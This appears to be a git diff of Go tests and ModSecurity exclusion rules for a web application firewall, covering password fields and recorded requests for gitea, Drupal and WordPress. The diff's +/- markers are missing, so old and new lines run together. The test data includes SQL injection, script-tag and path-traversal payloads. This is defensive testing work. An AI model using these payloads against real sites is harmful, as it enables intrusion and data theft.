|
||||
// request with a body matches at the defaults also matches while bodies
|
||||
// are read, with a score no lower. It checks every 40th such request of
|
||||
// each app, as recorded and with an SQL injection added to its query, which
|
||||
// the defaults must match.
|
||||
func TestReadingBodiesOnlyAddsMatches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// gitea's password fields, each sent to one of the paths that takes it.
|
||||
fields := []passwordFields{
|
||||
{"/user/login", formData, []string{passwordKey}},
|
||||
{"/user/sign_up", formData, []string{passwordKey, retypeKey}},
|
||||
{"/user/link_account_signin", formData, []string{passwordKey}},
|
||||
{"/user/link_account_signup", formData, []string{passwordKey, retypeKey}},
|
||||
{"/user/activate", formData, []string{passwordKey}},
|
||||
{"/user/recover_account", formData, []string{passwordKey}},
|
||||
{"/user/settings/change_password", formData, []string{passwordKey, retypeKey}},
|
||||
{
|
||||
"/user/settings/account", formData,
|
||||
[]string{"old_password", passwordKey, retypeKey},
|
||||
},
|
||||
{"/user/settings/account/delete", formData, []string{passwordKey}},
|
||||
{"/-/admin/users/new", formData, []string{passwordKey}},
|
||||
{"/-/admin/users/1/edit", formData, []string{passwordKey}},
|
||||
{"/admin/users/1/edit", formData, []string{passwordKey}},
|
||||
{"/api/v1/admin/users", jsonBody, []string{passwordKey}},
|
||||
{"/api/v1/admin/users/alice", jsonBody, []string{passwordKey}},
|
||||
}
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
wantPasswordFieldsPass(t, fields)
|
||||
}
|
||||
|
||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
// These fields skip the rules only when the query has no field of the
|
||||
// same name. An SQL injection in the query is refused.
|
||||
for _, sent := range []struct{ path, field string }{
|
||||
{nextcloudSignIn, passwordField},
|
||||
{mediawikiAPI, passwordField},
|
||||
{mediawikiAPI, "lgpassword="},
|
||||
{mediawikiAPI, retypeKey + "="},
|
||||
{mediawikiAccountChange, passwordField},
|
||||
{mediawikiAccountChange, retypeKey + "="},
|
||||
{mediawikiSignUp, retypeKey + "="},
|
||||
{"/wiki/Special:UserLogin", retypeKey + "="},
|
||||
{"/user/sign_up", passwordField},
|
||||
{"/user/settings/account", "old_password="},
|
||||
{wpLogin, "pass1="},
|
||||
{wpLogin, "post_password="},
|
||||
{"/wp-admin/profile.php", "pass2="},
|
||||
{"/wp-json/wp/v2/users", passwordField},
|
||||
{drupalRegister, "pass%5Bpass1%5D="},
|
||||
{"/user/1/edit", "current_pass="},
|
||||
{"/auth/challenge", "form_challenge%5Bcurrent_password%5D="},
|
||||
{"/login/confirm", passwordField},
|
||||
{"/settings/personal/changepassword", "newpassword="},
|
||||
{"/apps/encryption/ajax/adminRecovery", "confirmPassword="},
|
||||
{"/admin", "token="},
|
||||
for _, name := range []string{
|
||||
"drupal-requests.txt",
|
||||
"mastodon-requests.txt",
|
||||
"mediawiki-requests.txt",
|
||||
"nextcloud-requests.txt",
|
||||
"vaultwarden-requests.txt",
|
||||
"wordpress-requests.txt",
|
||||
} {
|
||||
r := request{
|
||||
http.MethodPost, sent.path + "?" + sent.field + "'%20OR%20'1'='1",
|
||||
[]string{formData},
|
||||
}
|
||||
withBody := 0
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+"example")
|
||||
if got.Score < threshold {
|
||||
t.Errorf("POST %s let through: %+v", r.target, got)
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
if recorded.Body == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
withBody++
|
||||
if withBody%40 != 1 {
|
||||
continue
|
||||
}
|
||||
|
||||
separator := "?"
|
||||
if strings.Contains(recorded.Target, "?") {
|
||||
separator = "&"
|
||||
}
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
wantNoMatchLost(t, defaults, bodies, r, recorded.Body)
|
||||
|
||||
r.target += separator + "id=" + sqlInjection
|
||||
if atDefault := wantNoMatchLost(t, defaults, bodies, r,
|
||||
recorded.Body); len(atDefault.RuleIDs) == 0 {
|
||||
t.Errorf("%s %s matched nothing at the defaults", r.method, r.target)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||
// wantNoMatchLost checks that every rule defaults matches in r with body,
|
||||
// bodies matches too, with a score no lower, and returns what defaults
|
||||
// found.
|
||||
func wantNoMatchLost(
|
||||
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet, r request, body string,
|
||||
) coreruleset.Result {
|
||||
t.Helper()
|
||||
|
||||
atDefault, _ := inspectBody(t, defaults, r, body)
|
||||
whileRead, _ := inspectBody(t, bodies, r, body)
|
||||
|
||||
for _, id := range atDefault.RuleIDs {
|
||||
if !slices.Contains(whileRead.RuleIDs, id) {
|
||||
t.Errorf("%s %s: %d matched at the defaults only", r.method, r.target, id)
|
||||
}
|
||||
}
|
||||
|
||||
if whileRead.Score < atDefault.Score {
|
||||
t.Errorf("%s %s scored %d at the defaults and %d while bodies are read",
|
||||
r.method, r.target, atDefault.Score, whileRead.Score)
|
||||
}
|
||||
|
||||
return atDefault
|
||||
}
|
||||
|
||||
func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range giteaRequests(t) {
|
||||
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||
}
|
||||
}
|
||||
|
||||
// In q too, off gitea's search pages.
|
||||
for _, parameter := range []string{"id", "q"} {
|
||||
for _, attack := range []string{
|
||||
@@ -1038,6 +804,46 @@ const (
|
||||
wpTags = "/wp-json/wp/v2/tags"
|
||||
)
|
||||
|
||||
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||
type recordedRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// recordedRequests returns the recorded ordinary requests in the file name
|
||||
// in testdata, each with its body.
|
||||
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join("testdata", name)
|
||||
|
||||
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []recordedRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r recordedRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_BODY_LIMIT.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
@@ -1103,13 +909,33 @@ func wordpressAttackTargets(attack string) []string {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
// As in wantRecordedRequestsPass, a request with a body passes at
|
||||
// the defaults if it passes while bodies are read.
|
||||
crs := defaults
|
||||
if recorded.Body != "" {
|
||||
crs = bodies
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused: %+v", r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2Fwp-config.php",
|
||||
@@ -1595,33 +1421,6 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) {
|
||||
wantBody(t, crs, comment, "url=ls+-la", matched(932250), "url=ls+-la")
|
||||
}
|
||||
|
||||
func TestWordPressPasswordsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
signIn := request{http.MethodPost, wpLogin, []string{formData}}
|
||||
|
||||
wantRandomPasswordsPass(t, signIn, "pwd")
|
||||
wantPasswordAttacksPass(t, signIn, "pwd")
|
||||
wantPasswordAttacksRefused(t, signIn, "pwd")
|
||||
}
|
||||
|
||||
func TestWordPressPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
pass := []string{"pass1", "pass2"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{wpLogin + "?action=resetpass", formData, pass},
|
||||
{wpLogin + "?action=postpass", formData, []string{"post_password"}},
|
||||
{"/wp-admin/profile.php", formData, pass},
|
||||
{"/wp-admin/user-edit.php?user_id=2", formData, pass},
|
||||
{"/wp-admin/user-new.php", formData, pass},
|
||||
{"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}},
|
||||
{"/wp-json/wp/v2/users/me", formData, []string{passwordKey}},
|
||||
{"/index.php?rest_route=/wp/v2/users/2", jsonBody, []string{passwordKey}},
|
||||
})
|
||||
}
|
||||
|
||||
func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -1679,9 +1478,6 @@ const injection = "1' OR '1'='1"
|
||||
// scriptTag is a script injection, not escaped.
|
||||
const scriptTag = "<script>alert(1)</script>"
|
||||
|
||||
// pathTraversal is a path traversal, not escaped.
|
||||
const pathTraversal = "../../etc/passwd"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
|
||||
@@ -184,92 +184,6 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?(?:name|pass)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?(?:name|pass)$/"
|
||||
|
||||
# The password, pass, skips each rule that random passwords set off.
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/login$" \
|
||||
"id:900819,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?pass$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?pass$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?pass$/"
|
||||
|
||||
# The passwords when signing up, changing the password and adding a user skip
|
||||
# the same rules:
|
||||
# pass[pass1], pass[pass2], current_pass: the forms at /user/register,
|
||||
# /user/<id>/edit and /admin/people/create
|
||||
# json.pass.value, json.pass.0.value, json.pass.0.existing: a client signing up
|
||||
# or changing the password in Drupal's JSON format
|
||||
# json.data.attributes.pass.value, .existing: a JSON:API client doing the same
|
||||
SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/(?:user/register|user/[0-9]+(?:/edit)?|admin/people/create|jsonapi/user/user(?:/[^/]+)?)$" \
|
||||
"id:900820,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass\[pass[12]\]|current_pass|json\.pass\.(?:value|0\.(?:value|existing))|json\.data\.attributes\.pass\.(?:value|existing))$/"
|
||||
|
||||
# A person's name and email address, when signing up, when editing an
|
||||
# account and when commenting without an account. A name of python3 refused
|
||||
# signing up, and python3@example.com refused saving an account. An address
|
||||
|
||||
@@ -19,12 +19,6 @@ const drupalSignIn = "/user/login"
|
||||
// drupalJSONSignIn is Drupal's sign-in in its JSON format.
|
||||
const drupalJSONSignIn = "/user/login?_format=json"
|
||||
|
||||
// drupalRegister is Drupal's sign-up form.
|
||||
const drupalRegister = "/user/register"
|
||||
|
||||
// drupalJSONRegister is Drupal's sign-up in its JSON format.
|
||||
const drupalJSONRegister = "/user/register?_format=json"
|
||||
|
||||
// drupalJSONPasswordReset is Drupal's password reset in its JSON format.
|
||||
const drupalJSONPasswordReset = "/user/password?_format=json"
|
||||
|
||||
@@ -37,6 +31,12 @@ const drupalEditAccount = "/user/2/edit"
|
||||
// drupalName is the field for a person's name, as the start of a form body.
|
||||
const drupalName = "name="
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||
}
|
||||
|
||||
// drupalAttacks are an SQL injection, a path traversal and a script
|
||||
// injection, as a query value.
|
||||
//
|
||||
@@ -109,9 +109,10 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
{reply, "comment_body%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, "subject%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{reply, drupalName + attack},
|
||||
{drupalSignIn, "pass=" + attack},
|
||||
{drupalSignIn, drupalName + attack},
|
||||
{"/fr/user/login", drupalName + attack},
|
||||
{drupalRegister, drupalName + attack},
|
||||
{"/user/register", drupalName + attack},
|
||||
{drupalEditAccount, "mail=" + attack},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=" + attack},
|
||||
{drupalTagForm, "description%5B0%5D%5Bvalue%5D=" + attack},
|
||||
@@ -171,45 +172,6 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalPasswordPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, r := range []request{
|
||||
{http.MethodPost, drupalSignIn, []string{formData}},
|
||||
{http.MethodPost, drupalJSONSignIn, []string{jsonBody}},
|
||||
} {
|
||||
t.Run(r.target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRandomPasswordsPass(t, r, "pass")
|
||||
wantPasswordAttacksPass(t, r, "pass")
|
||||
wantPasswordAttacksRefused(t, r, "pass")
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalPasswordFieldsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const value = "pass.0.value"
|
||||
|
||||
pass := []string{"pass[pass1]", "pass[pass2]"}
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{drupalRegister, formData, pass},
|
||||
{"/fr/user/register", formData, pass},
|
||||
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
||||
{"/admin/people/create", formData, pass},
|
||||
{drupalJSONRegister, jsonBody, []string{value}},
|
||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
||||
{
|
||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
@@ -302,7 +264,7 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
{drupalAddArticle, "field_tags%5Btarget_id%5D="},
|
||||
{drupalAddArticle, "field_image%5B0%5D%5Balt%5D="},
|
||||
{drupalSignIn, drupalName},
|
||||
{drupalRegister, drupalName},
|
||||
{"/user/register", drupalName},
|
||||
{drupalEditAccount, "mail="},
|
||||
{"/comment/reply/node/1/comment", drupalName},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D="},
|
||||
@@ -495,7 +457,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
// on a path other than the password reset.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.name=python3",
|
||||
drupalJSONRegister,
|
||||
"/user/register?_format=json",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
@@ -508,7 +470,7 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
// So does the JSON field mail.
|
||||
for _, target := range []string{
|
||||
drupalJSONPasswordReset + "&json.mail=python3%40example.com",
|
||||
drupalJSONRegister,
|
||||
"/user/register?_format=json",
|
||||
} {
|
||||
r := request{http.MethodPost, target, []string{jsonBody}}
|
||||
|
||||
|
||||
@@ -289,50 +289,3 @@ SecRule REQUEST_FILENAME \
|
||||
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
|
||||
"id:900640,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
|
||||
|
||||
# The passwords skip each rule that random passwords set off:
|
||||
# password: signing in, signing up, linking an account, activating an account,
|
||||
# resetting or changing the password, deleting an account, and creating or
|
||||
# editing a user on the admin pages
|
||||
# retype: signing up, linking an account by signing up, and changing the
|
||||
# password
|
||||
# old_password: changing the password
|
||||
# json.password: creating or editing a user through the admin API
|
||||
SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_account_signup|activate|recover_account|settings/(?:change_password|account(?:/delete)?))$|^/(?:-/)?admin/users/(?:new|[0-9]+/edit)$|^/api/v1/admin/users(?:/[^/]+)?$" \
|
||||
"id:900650,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:password|retype|old_password|json\.password)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
|
||||
